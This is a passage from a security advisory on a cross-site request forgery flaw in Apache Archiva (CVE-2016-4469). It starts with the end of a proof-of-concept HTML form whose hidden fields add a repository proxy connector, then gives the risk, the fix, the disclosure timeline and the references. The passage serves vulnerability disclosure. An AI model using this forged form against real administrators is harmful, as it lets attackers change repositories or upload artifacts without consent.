      <input type="hidden" name="connector&#46;proxyId"
value="&#40;direct&#32;connection&#41;" />
      <input type="hidden" name="connector&#46;sourceRepoId" value="CSRF" />
      <input type="hidden" name="connector&#46;targetRepoId"
value="maven2&#45;repository&#46;dev&#46;java&#46;net" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;propagate&#45;errors&#45;on&#45;update&apos;&#93;"
value="always" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;cache&#45;failures&apos;&#93;"
value="no" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;releases&apos;&#93;"
value="always" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;propagate&#45;errors&apos;&#93;"
value="stop" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;checksum&apos;&#93;" value="fail" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;snapshots&apos;&#93;"
value="always" />
      <input type="hidden" name="propertyKey" value="" />
      <input type="hidden" name="propertyValue" value="" />
      <input type="hidden" name="blackListPattern" value="" />
      <input type="hidden" name="whiteListPattern" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


6. RISK
=======
To successfully exploit this vulnerability a user with administrative rights
must be tricked into visiting an arbitrary website while having an
authenticated session in the application.

The vulnerability allows remote attackers to perform sensitive
administrative actions like adding new repository proxy connectors, adding
new repositories, editing existing repositories, adding legacy artifact
paths, changing the organizational appearance or uploading new artifacts in
the authentication context of the targeted user.


7. SOLUTION
===========
Upgrade/Migrate to Apache Archiva 2.2.1


8. REPORT TIMELINE
==================
2016-05-31: Discovery of the vulnerability
2016-05-31: Notified vendor via public security mail address
2016-06-06: No response, sent out another notification
2016-06-10: Vendor states that this version is out of support
2016-06-21: Vendor assigns CVE-2016-4469
2016-07-11: Advisory released


9. REFERENCES
=============
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4469